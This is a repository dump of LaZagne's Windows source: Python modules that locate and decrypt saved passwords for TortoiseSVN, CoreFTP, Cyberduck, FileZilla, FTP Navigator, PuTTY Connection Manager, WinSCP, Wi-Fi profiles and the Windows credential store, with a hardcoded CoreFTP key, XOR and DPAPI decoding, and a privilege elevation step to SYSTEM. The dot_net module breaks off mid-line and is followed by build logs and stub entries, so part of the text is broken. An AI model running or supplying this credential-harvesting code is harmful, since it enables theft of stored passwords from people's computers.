class Tortoise(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-t', 'action': 'store_true', 'dest': 'tortoise', 'help': 'tortoise'} 11 | ModuleInfo.__init__(self, 'tortoise', 'svn', options) 12 | 13 | # main function 14 | def run(self): 15 | # print title 16 | Header().title_info('Tortoise') 17 | 18 | file_path = '' 19 | if 'APPDATA' in os.environ: 20 | file_path = os.environ.get('APPDATA') + '\\Subversion\\auth\\svn.simple' 21 | else: 22 | print_debug('ERROR', 'The APPDATA environment variable is not definded.') 23 | return 24 | 25 | values = {} 26 | pwdFound = [] 27 | if os.path.exists(file_path): 28 | for root, dirs, files in os.walk(file_path + os.sep): 29 | for name_file in files: 30 | values = {} 31 | f = open(file_path + os.sep + name_file, 'r') 32 | 33 | url = '' 34 | username = '' 35 | result = '' 36 | 37 | i = 0 38 | # password 39 | for line in f: 40 | if i == -1: 41 | result = line.replace('\n', '') 42 | break 43 | if line.startswith('password'): 44 | i = -3 45 | i+=1 46 | 47 | i = 0 48 | # url 49 | for line in f: 50 | if i == -1: 51 | url = line.replace('\n', '') 52 | break 53 | if line.startswith('svn:realmstring'): 54 | i = -3 55 | i+=1 56 | 57 | i = 0 58 | # username 59 | for line in f: 60 | if i == -1: 61 | username = line.replace('\n', '') 62 | break 63 | if line.startswith('username'): 64 | i = -3 65 | i+=1 66 | 67 | # unccrypt the password 68 | if result: 69 | 70 | try: 71 | password = win32crypt.CryptUnprotectData(base64.b64decode(result), None, None, None, 0)[1] 72 | except: 73 | password = '' 74 | 75 | if password: 76 | values['URL'] = url 77 | values['Username'] = username 78 | values['Password'] = password 79 | 80 | pwdFound.append(values) 81 | # print the results 82 | print_output("Tortoise", pwdFound) 83 | else: 84 | print_debug('INFO', 'Tortoise not installed.') 85 | 86 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/sysadmin/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/coreftp.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | from Crypto.Cipher import AES 3 | import win32con, win32api 4 | from config.write_output import print_output, print_debug 5 | from config.header import Header 6 | from config.moduleInfo import ModuleInfo 7 | 8 | class CoreFTP(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-core', 'action': 'store_true', 'dest': 'coreftp', 'help': 'coreftp'} 11 | ModuleInfo.__init__(self, 'coreftp', 'sysadmin', options) 12 | 13 | def get_secret(self): 14 | return "hdfzpysvpzimorhk" 15 | 16 | def decrypt(self, hex): 17 | encoded = binascii.unhexlify(hex) 18 | secret = self.get_secret() 19 | BLOCK_SIZE = 16 20 | mode = AES.MODE_ECB 21 | cipher=AES.new(secret,mode) 22 | return cipher.decrypt(encoded).split('\x00')[0] 23 | 24 | def get_key_info(self): 25 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 26 | try: 27 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites', 0, accessRead) 28 | except Exception,e: 29 | print_debug('DEBUG', '{0}'.format(e)) 30 | return False 31 | 32 | num_profiles = win32api.RegQueryInfoKey(key)[0] 33 | pwdFound = [] 34 | for n in range(num_profiles): 35 | name_skey = win32api.RegEnumKey(key, n) 36 | 37 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 38 | num = win32api.RegQueryInfoKey(skey)[1] 39 | 40 | values = {} 41 | for nn in range(num): 42 | k = win32api.RegEnumValue(skey, nn) 43 | if k[0] == 'Host': 44 | values['Host'] = k[1] 45 | if k[0] == 'Port': 46 | values['Port'] = k[1] 47 | if k[0] == 'User': 48 | values['User'] = k[1] 49 | pwdFound.append(values) 50 | if k[0] == 'PW': 51 | try: 52 | values['Password'] = self.decrypt(k[1]) 53 | except Exception,e: 54 | print_debug('DEBUG', '{0}'.format(e)) 55 | values['Password'] = 'N/A' 56 | # print the results 57 | print_output('CoreFTP', pwdFound) 58 | 59 | def run(self): 60 | # print title 61 | Header().title_info('CoreFTP') 62 | 63 | if self.get_key_info() == False: 64 | print_debug('INFO', 'CoreFTP not installed') 65 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/cyberduck.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import win32crypt 3 | import sys, os, platform, base64 4 | import xml.etree.cElementTree as ET 5 | from config.write_output import print_output, print_debug 6 | from config.constant import * 7 | from config.header import Header 8 | from config.moduleInfo import ModuleInfo 9 | 10 | class Cyberduck(ModuleInfo): 11 | def __init__(self): 12 | options = {'command': '-c', 'action': 'store_true', 'dest': 'cyberduck', 'help': 'cyberduck'} 13 | ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', options) 14 | 15 | # find the user.config file containing passwords 16 | def get_path(self): 17 | if 'APPDATA' in os.environ: 18 | directory = os.environ['APPDATA'] + '\Cyberduck' 19 | 20 | if os.path.exists(directory): 21 | for dir in os.listdir(directory): 22 | if dir.startswith('Cyberduck'): 23 | for d in os.listdir(directory + os.sep + dir): 24 | path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config' 25 | if os.path.exists(path): 26 | return path 27 | 28 | return 'User_profil_not_found' 29 | else: 30 | return 'CYBERDUCK_NOT_EXISTS' 31 | else: 32 | return 'APPDATA_NOT_FOUND' 33 | 34 | # parse the xml file 35 | def parse_xml(self, xml_file): 36 | tree = ET.ElementTree(file=xml_file) 37 | 38 | pwdFound = [] 39 | for elem in tree.iter(): 40 | values = {} 41 | try: 42 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib['name'].startswith('https'): 43 | values['URL'] = elem.attrib['name'] 44 | encrypted_password = base64.b64decode(elem.attrib['value']) 45 | password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1] 46 | values['Password'] = password 47 | 48 | pwdFound.append(values) 49 | except Exception,e: 50 | print_debug('DEBUG', '{0}'.format(e)) 51 | 52 | # print the results 53 | print_output("Cyberduck", pwdFound) 54 | 55 | # main function 56 | def run(self): 57 | # print title 58 | Header().title_info('Cyberduck') 59 | 60 | path = self.get_path() 61 | if path == 'CYBERDUCK_NOT_EXISTS': 62 | print_debug('INFO', 'Cyberduck not installed.') 63 | elif path == 'User_profil_not_found': 64 | print_debug('INFO', 'User profil has not been found.') 65 | elif path == 'APPDATA_NOT_FOUND': 66 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 67 | else: 68 | self.parse_xml(path) 69 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/filezilla.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import os, base64 3 | from config.constant import * 4 | from config.write_output import print_output, print_debug 5 | from config.header import Header 6 | from config.moduleInfo import ModuleInfo 7 | 8 | class Filezilla(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'} 11 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin', options) 12 | 13 | def run(self): 14 | # print title 15 | Header().title_info('Filezilla') 16 | 17 | if 'APPDATA' in os.environ: 18 | directory = os.environ['APPDATA'] + '\FileZilla' 19 | else: 20 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 21 | return 22 | 23 | interesting_xml_file = [] 24 | info_xml_file = [] 25 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')): 26 | interesting_xml_file.append('sitemanager.xml') 27 | info_xml_file.append('Stores all saved sites server info including password in plaintext') 28 | 29 | if os.path.exists(os.path.join(directory, 'recentservers.xml')): 30 | interesting_xml_file.append('recentservers.xml') 31 | info_xml_file.append('Stores all recent server info including password in plaintext') 32 | 33 | if os.path.exists(os.path.join(directory, 'filezilla.xml')): 34 | interesting_xml_file.append('filezilla.xml') 35 | info_xml_file.append('Stores most recent server info including password in plaintext') 36 | 37 | if interesting_xml_file != []: 38 | print_debug('INFO', 'No login and password means anonymous connection') 39 | pwdFound = [] 40 | 41 | for i in range(len(interesting_xml_file)): 42 | print_debug('INFO', '%s: %s' % (interesting_xml_file[i], info_xml_file[i])) 43 | 44 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i]) 45 | 46 | tree = ET.ElementTree(file=xml_file) 47 | root = tree.getroot() 48 | 49 | servers = root.getchildren() 50 | for ss in servers: 51 | server = ss.getchildren() 52 | 53 | jump_line = 0 54 | for s in server: 55 | s1 = s.getchildren() 56 | values = {} 57 | for s11 in s1: 58 | if s11.tag == 'Host': 59 | values[s11.tag] = s11.text 60 | 61 | if s11.tag == 'Port': 62 | values[s11.tag] = s11.text 63 | 64 | if s11.tag == 'User': 65 | values['Login'] = s11.text 66 | 67 | if s11.tag == 'Pass': 68 | try: 69 | # if base64 encoding 70 | if 'encoding' in s11.attrib: 71 | if s11.attrib['encoding'] == 'base64': 72 | values['Password'] = base64.b64decode(s11.text) 73 | else: 74 | values['Password'] = s11.text 75 | except: 76 | values['Password'] = s11.text 77 | 78 | # password found 79 | if len(values) != 0: 80 | pwdFound.append(values) 81 | # print the results 82 | print_output("Filezilla", pwdFound) 83 | 84 | else: 85 | print_debug('INFO', 'Filezilla not installed.') 86 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/ftpnavigator.py: -------------------------------------------------------------------------------- 1 | import struct, os 2 | from config.write_output import print_output, print_debug 3 | from config.header import Header 4 | from config.moduleInfo import ModuleInfo 5 | 6 | class FtpNavigator(ModuleInfo): 7 | def __init__(self): 8 | options = {'command': '-ftp', 'action': 'store_true', 'dest': 'ftpnavigator', 'help': 'FTP Navigator'} 9 | ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', options) 10 | 11 | def decode(self, encode_password): 12 | password = '' 13 | for p in encode_password: 14 | password += chr(struct.unpack('B', p)[0] ^ 0x19) 15 | return password 16 | 17 | def read_file(self, filepath): 18 | f = open(filepath, 'r') 19 | pwdFound = [] 20 | for ff in f.readlines(): 21 | values = {} 22 | info = ff.split(';') 23 | for i in info: 24 | i = i.split('=') 25 | if i[0] == 'Name': 26 | values['Name'] = i[1] 27 | if i[0] == 'Server': 28 | values['Server'] = i[1] 29 | if i[0] == 'Port': 30 | values['Port'] = i[1] 31 | if i[0] == 'User': 32 | values['User'] = i[1] 33 | if i[0] == "Password": 34 | if i[1] != '1' and i[1] != '0': 35 | values['Password'] = self.decode(i[1]) 36 | 37 | # used to save the password if it is an anonymous authentication 38 | if values['User'] == 'anonymous' and 'Password' not in values.keys(): 39 | values['Password'] = 'anonymous' 40 | 41 | pwdFound.append(values) 42 | # print the results 43 | print_output('FTP Navigator', pwdFound) 44 | 45 | def run(self): 46 | # print title 47 | Header().title_info('FTP Navigator') 48 | 49 | if 'HOMEDRIVE' in os.environ: 50 | path = os.environ.get('HOMEDRIVE') + os.sep + 'FTP Navigator\\Ftplist.txt' 51 | 52 | if os.path.exists(path): 53 | self.read_file(path) 54 | else: 55 | print_debug('INFO', 'Paht %s does not exist.\nFTP Navigator not installed or not found.' % path) 56 | 57 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/puttycm.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import win32con, win32api 3 | import os 4 | from config.constant import * 5 | from config.write_output import print_output, print_debug 6 | from config.header import Header 7 | from config.moduleInfo import ModuleInfo 8 | 9 | class Puttycm(ModuleInfo): 10 | def __init__(self): 11 | options = {'command': '-p', 'action': 'store_true', 'dest': 'puttycm', 'help': 'puttycm'} 12 | ModuleInfo.__init__(self, 'puttycm', 'sysadmin', options) 13 | 14 | def run(self): 15 | # print title 16 | Header().title_info('Puttycm') 17 | 18 | try: 19 | database_path = self.get_default_database() 20 | except Exception,e: 21 | print_debug('DEBUG', '{0}'.format(e)) 22 | print_debug('INFO', 'Puttycm not installed') 23 | return 24 | 25 | if os.path.exists(database_path): 26 | self.parse_xml(database_path) 27 | else: 28 | print_debug('WARNING', 'Default database does not exist: %s' % database_path) 29 | 30 | 31 | def get_default_database(self): 32 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 33 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager', 0, accessRead) 34 | thisName = str(win32api.RegQueryValueEx(key, 'DefaultDatabase')[0]) 35 | if thisName : 36 | return thisName 37 | else: 38 | return ' ' 39 | 40 | def parse_xml(self, database_path): 41 | xml_file = os.path.expanduser(database_path) 42 | tree = ET.ElementTree(file=xml_file) 43 | root = tree.getroot() 44 | 45 | pwdFound = [] 46 | for connection in root.iter('connection'): 47 | children = connection.getchildren() 48 | values = {} 49 | for child in children: 50 | for c in child: 51 | find = False 52 | 53 | if str(c.tag) == 'name': 54 | find = True 55 | if str(c.tag) == 'protocol': 56 | find = True 57 | elif str(c.tag) == 'host': 58 | find = True 59 | elif str(c.tag) == 'port': 60 | find = True 61 | elif str(c.tag) == 'description': 62 | find = True 63 | elif str(c.tag) == 'login': 64 | find = True 65 | elif str(c.tag) == 'password': 66 | find = True 67 | 68 | if find: 69 | values[str(c.tag)] = str(c.text) 70 | 71 | # password found 72 | if len(values) != 0: 73 | pwdFound.append(values) 74 | 75 | # print the results 76 | print_output("Puttycm", pwdFound) 77 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/sysadmin/winscp.py: -------------------------------------------------------------------------------- 1 | import win32con, win32api 2 | from config.write_output import print_output, print_debug 3 | from config.constant import * 4 | from config.header import Header 5 | from config.moduleInfo import ModuleInfo 6 | 7 | class WinSCP(ModuleInfo): 8 | def __init__(self): 9 | self.hash = '' 10 | self.username = '' 11 | self.hostname = '' 12 | 13 | options = {'command': '-scp', 'action': 'store_true', 'dest': 'winscp', 'help': 'winscp'} 14 | ModuleInfo.__init__(self, 'winscp', 'sysadmin', options) 15 | 16 | # ------------------------------ Getters and Setters ------------------------------ 17 | def get_hash(self): 18 | return self.hash 19 | 20 | def set_hash(self, _hash): 21 | self.hash = _hash 22 | 23 | def get_username(self): 24 | return self.username 25 | 26 | def set_username(self, _username): 27 | self.username = _username 28 | 29 | def get_hostname(self): 30 | return self.hostname 31 | 32 | def set_hostname(self, _hostname): 33 | self.hostname = _hostname 34 | 35 | def decrypt_char(self): 36 | hash = self.get_hash() 37 | 38 | hex_flag = 0xA3 39 | charset = '0123456789ABCDEF' 40 | 41 | if len(hash) > 0: 42 | unpack1 = charset.find(hash[0]) 43 | unpack1 = unpack1 << 4 44 | 45 | unpack2 = charset.find(hash[1]) 46 | result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff 47 | 48 | # store the new hash 49 | self.set_hash(hash[2:]) 50 | 51 | return result 52 | 53 | def check_winscp_installed(self): 54 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 55 | try: 56 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead) 57 | return True 58 | except Exception,e: 59 | print_debug('DEBUG', '{0}'.format(e)) 60 | return False 61 | 62 | def check_masterPassword(self): 63 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 64 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead) 65 | thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0]) 66 | 67 | if thisName == '0': 68 | return False 69 | else: 70 | return True 71 | 72 | def get_logins_info(self): 73 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 74 | try: 75 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0, accessRead) 76 | except Exception,e: 77 | print_debug('DEBUG', '{0}'.format(e)) 78 | return False 79 | 80 | num_profiles = win32api.RegQueryInfoKey(key)[0] 81 | 82 | pwdFound = [] 83 | for n in range(num_profiles): 84 | name_skey = win32api.RegEnumKey(key, n) 85 | 86 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 87 | num = win32api.RegQueryInfoKey(skey)[1] 88 | 89 | port = '' 90 | values = {} 91 | 92 | for nn in range(num): 93 | k = win32api.RegEnumValue(skey, nn) 94 | 95 | if k[0] == 'HostName': 96 | self.set_hostname(k[1]) 97 | 98 | if k[0] == 'UserName': 99 | self.set_username(k[1]) 100 | 101 | if k[0] == 'Password': 102 | self.set_hash(k[1]) 103 | 104 | if k[0] == 'PortNumber': 105 | port = str(k[1]) 106 | 107 | if num != 0: 108 | if port == '': 109 | port = '22' 110 | try: 111 | password = self.decrypt_password() 112 | values['Password'] = password 113 | except Exception,e: 114 | print_debug('DEBUG', '{0}'.format(e)) 115 | 116 | values['Hostname'] = self.get_hostname() 117 | values['Port'] = port 118 | values['Username'] = self.get_username() 119 | 120 | pwdFound.append(values) 121 | 122 | # print the results 123 | print_output("WinSCP", pwdFound) 124 | 125 | def decrypt_password(self): 126 | hex_flag = 0xFF 127 | 128 | flag = self.decrypt_char() 129 | if flag == hex_flag: 130 | self.decrypt_char() 131 | length = self.decrypt_char() 132 | else: 133 | length = flag 134 | 135 | ldel = (self.decrypt_char())*2 136 | 137 | hash = self.get_hash() 138 | self.set_hash(hash[ldel: len(hash)]) 139 | 140 | result = '' 141 | for ss in range(length): 142 | 143 | try: 144 | result += chr(int(self.decrypt_char())) 145 | except Exception,e: 146 | print_debug('DEBUG', '{0}'.format(e)) 147 | pass 148 | 149 | if flag == hex_flag: 150 | key = self.get_username() + self.get_hostname() 151 | result = result[len(key): len(result)] 152 | 153 | return result 154 | 155 | # --------- Main function --------- 156 | def run(self): 157 | # print title 158 | Header().title_info('WinSCP') 159 | 160 | if self.check_winscp_installed(): 161 | if not self.check_masterPassword(): 162 | r = self.get_logins_info() 163 | if r == False: 164 | print_debug('INFO', 'WinSCP not installed.') 165 | else: 166 | print_debug('WARNING', 'A master password is used. Passwords cannot been retrieved') 167 | else: 168 | print_debug('INFO', 'WinSCP not installed.') 169 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/wifi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/wifi/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/wifi/wifi.py: -------------------------------------------------------------------------------- 1 | from config.write_output import print_output, print_debug 2 | from config.header import Header 3 | from config.get_system_priv import get_system_priv 4 | from ctypes import * 5 | import time, tempfile 6 | from ConfigParser import RawConfigParser 7 | import os 8 | from config.moduleInfo import ModuleInfo 9 | 10 | class Wifi(ModuleInfo): 11 | def __init__(self): 12 | options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Vista and higher - Need System Privileges'} 13 | ModuleInfo.__init__(self, 'Wifi', 'wifi', options) 14 | 15 | def run(self): 16 | 17 | # print title 18 | Header().title_info('Wifi') 19 | 20 | if not windll.Shell32.IsUserAnAdmin(): 21 | print_debug('WARNING', '[!] This script should be run as admin!') 22 | return 23 | else: 24 | 25 | if 'ALLUSERSPROFILE' in os.environ: 26 | directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces' 27 | else: 28 | print_debug('ERROR', 'Environment variable (ALLUSERSPROFILE) has not been found.') 29 | return 30 | 31 | if not os.path.exists(directory): 32 | print_debug('INFO', 'No credentials found.\nFile containing passwords not found:\n%s' % directory) 33 | return 34 | 35 | try: 36 | print_debug('INFO', '[!] Trying to elevate our privilege') 37 | get_system_priv() 38 | print_debug('INFO', '[!] Elevation ok - Passwords decryption is in progress') 39 | except Exception,e: 40 | print_debug('DEBUG', '{0}'.format(e)) 41 | print_debug('ERROR', '[!] An error occurs during the privilege elevation process. Wifi passwords have not been decrypted') 42 | 43 | time.sleep(5) 44 | 45 | # read temp file containing all passwords found 46 | pwdFound = [] 47 | filepath = tempfile.gettempdir() + os.sep + 'TEMP123A.txt' 48 | 49 | # the file has not been created yet 50 | if not os.path.exists(filepath): 51 | time.sleep(5) 52 | 53 | if os.path.exists(filepath): 54 | cp = RawConfigParser() 55 | cp.read(filepath) 56 | for section in cp.sections(): 57 | values = {} 58 | for c in cp.items(section): 59 | values[str(c[0])] = str(c[1]) 60 | pwdFound.append(values) 61 | 62 | # remove file on the temporary directory 63 | os.remove(filepath) 64 | 65 | # print the results 66 | print_output("Wifi", pwdFound) 67 | else: 68 | print_debug('INFO', 'No passwords found') 69 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/wifi/wifipass.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import os, win32crypt 3 | import binascii 4 | import tempfile, socket 5 | from ctypes import * 6 | from config.moduleInfo import ModuleInfo 7 | import argparse 8 | 9 | class WifiPass(ModuleInfo): 10 | def __init__(self): 11 | options = {'command': '--HiddenWifiArgs', 'action': 'store_true', 'dest': 'wifipass', 'help': argparse.SUPPRESS} 12 | ModuleInfo.__init__(self, 'wifipass', 'wifi', options) 13 | 14 | # used when launched with a system account 15 | def run(self): 16 | # need to be admin privilege, to find passwords 17 | if not windll.Shell32.IsUserAnAdmin(): 18 | return 19 | else: 20 | directory = '' 21 | if 'ALLUSERSPROFILE' in os.environ: 22 | directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces' 23 | # for windows Vista or higher 24 | if os.path.exists(directory): 25 | passwordFound = False 26 | rep = [] 27 | pwdFound = [] 28 | for repository in os.listdir(directory): 29 | if os.path.isdir(directory + os.sep + repository): 30 | 31 | rep = directory + os.sep + repository 32 | for file in os.listdir(rep): 33 | values = {} 34 | if os.path.isfile(rep + os.sep + file): 35 | f = rep + os.sep + file 36 | tree = ET.ElementTree(file=f) 37 | root = tree.getroot() 38 | xmlns = root.tag.split("}")[0] + '}' 39 | 40 | iterate = False 41 | for elem in tree.iter(): 42 | if elem.tag.endswith('SSID'): 43 | for w in elem: 44 | if w.tag == xmlns + 'name': 45 | values['SSID'] = w.text 46 | 47 | if elem.tag.endswith('authentication'): 48 | values['Authentication'] = elem.text 49 | 50 | if elem.tag.endswith('protected'): 51 | values['Protected'] = elem.text 52 | 53 | if elem.tag.endswith('keyMaterial'): 54 | key = elem.text 55 | try: 56 | binary_string = binascii.unhexlify(key) 57 | password = win32crypt.CryptUnprotectData(binary_string, None, None, None, 0)[1] 58 | values['Password'] = password 59 | passwordFound = True 60 | except: 61 | values['INFO'] = '[!] Password not found.' 62 | 63 | # store credentials 64 | if len(values) != 0: 65 | pwdFound.append(values) 66 | 67 | # If at least one password has been found, we create the file in temp directory 68 | if passwordFound: 69 | try: 70 | filepath = tempfile.gettempdir() 71 | tmp = '' 72 | cpt = 1 73 | for pwd in pwdFound: 74 | tmp += '[wifi%s]\r\n' % str(cpt) 75 | cpt += 1 76 | for p in pwd.keys(): 77 | tmp = str(tmp) + str(p) + '=' + str(pwd[p]) + '\r\n' 78 | tmp = str(tmp) + '\r\n' 79 | open(filepath + os.sep + 'TEMP123A.txt','w').write(tmp) 80 | except: 81 | pass 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/windows/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/windows/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/windows/dot_net.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from ctypes import * 3 | from ctypes.wintypes import DWORD 4 | import win32cred 5 | from config.constant import * 6 | from config.write_output import print_output, print_debug 7 | from config.header import Header 8 | from config.moduleInfo import ModuleInfo 9 | 10 | memcpy = cdll.msvcrt.memcpy 11 | LocalFree = windll.kernel32.LocalFree 12 | CryptUnprotectData = windll.crypt32.CryptUnprotectData 13 | CRYPTPROTECT_UI_FORBIDDEN = 0x01 14 | 15 | class DATA_BLOB(Structure): 16 | _fields_ = [ 17 | ('cbData', DWORD), 18 | ('pbData', POINTER(c_char)) 19 | ] 20 | 21 | class Dot_net(ModuleInfo): 22 | def __init__(self): 23 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dotnet', 'help': 'domain visible network (.Net Passport) Passwords'} 24 | ModuleInfo.__init__(self, 'Dot Net', 'windows', options) 25 | 26 | def getData(self, blobOut): 27 | cbData = int(blobOut.cbData) 28 | pbData = blobOut.pbData 29 | buffer = c_buffer(cbData) 30 | memcpy(buffer, pbData, cbData) 31 | LocalFree(pbData); 32 | return buffer.raw 33 | 34 | def get_creds(self): 35 | try: 36 | creds = win32cred.CredEnumerate(None, 0) 37 | return creds 38 | except Exception,e: 39 | print_debug('DEBUG', '{0}'.format(e)) 40 | return None 41 | 42 | def get_entropy(self): 43 | entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\0' 44 | s = '' 45 | for c in entropy: 46 | s += struct.pack(' 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/historic.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Release|Win32|C:\Users\John\Desktop\Lazagne_test\historic\| 3 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/historic.log: -------------------------------------------------------------------------------- 1 | La génération a démarré 30/01/2015 14:10:22. 2 | Projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" sur le nœud 2 (build cible(s)). 3 | InitializeBuildStatus: 4 | Création de "Release\historic.unsuccessfulbuild", car "AlwaysCreate" a été spécifié. 5 | ClCompile: 6 | Toutes les sorties sont à jour. 7 | C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /Zi /nologo /W3 /WX- /O2 /Oi /Oy- /GL /D WIN32 /D NDEBUG /D _WINDOWS /D _USRDLL /D HISTORIC_EXPORTS /D _WINDLL /D _UNICODE /D UNICODE /Gm- /EHsc /MD /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Release\\" /Fd"Release\vc100.pdb" /Gd /TP /analyze- /errorReport:prompt dllmain.cpp 8 | dllmain.cpp 9 | Toutes les sorties sont à jour. 10 | Link: 11 | C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /ManifestFile:"Release\historic.dll.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.pdb" /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib" /MACHINE:X86 /DLL Release\dllmain.obj 12 | Release\history.obj 13 | Release\stdafx.obj 14 | Création de la bibliothèque C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib et de l'objet C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp 15 | Génération de code en cours 16 | Fin de la génération du code 17 | historic.vcxproj -> C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll 18 | Manifest: 19 | C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin\mt.exe /nologo /verbose /outputresource:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll;#2" /manifest Release\historic.dll.intermediate.manifest 20 | FinalizeBuildStatus: 21 | Suppression du fichier "Release\historic.unsuccessfulbuild". 22 | Mise à jour de l'horodatage "Release\historic.lastbuildstate". 23 | Génération du projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" terminée (build cible(s)). 24 | 25 | La génération a réussi. 26 | 27 | Temps écoulé 00:00:03.33 28 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/historic.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/historic.obj -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/historic.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/historic.pch -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/history.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/history.obj -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog 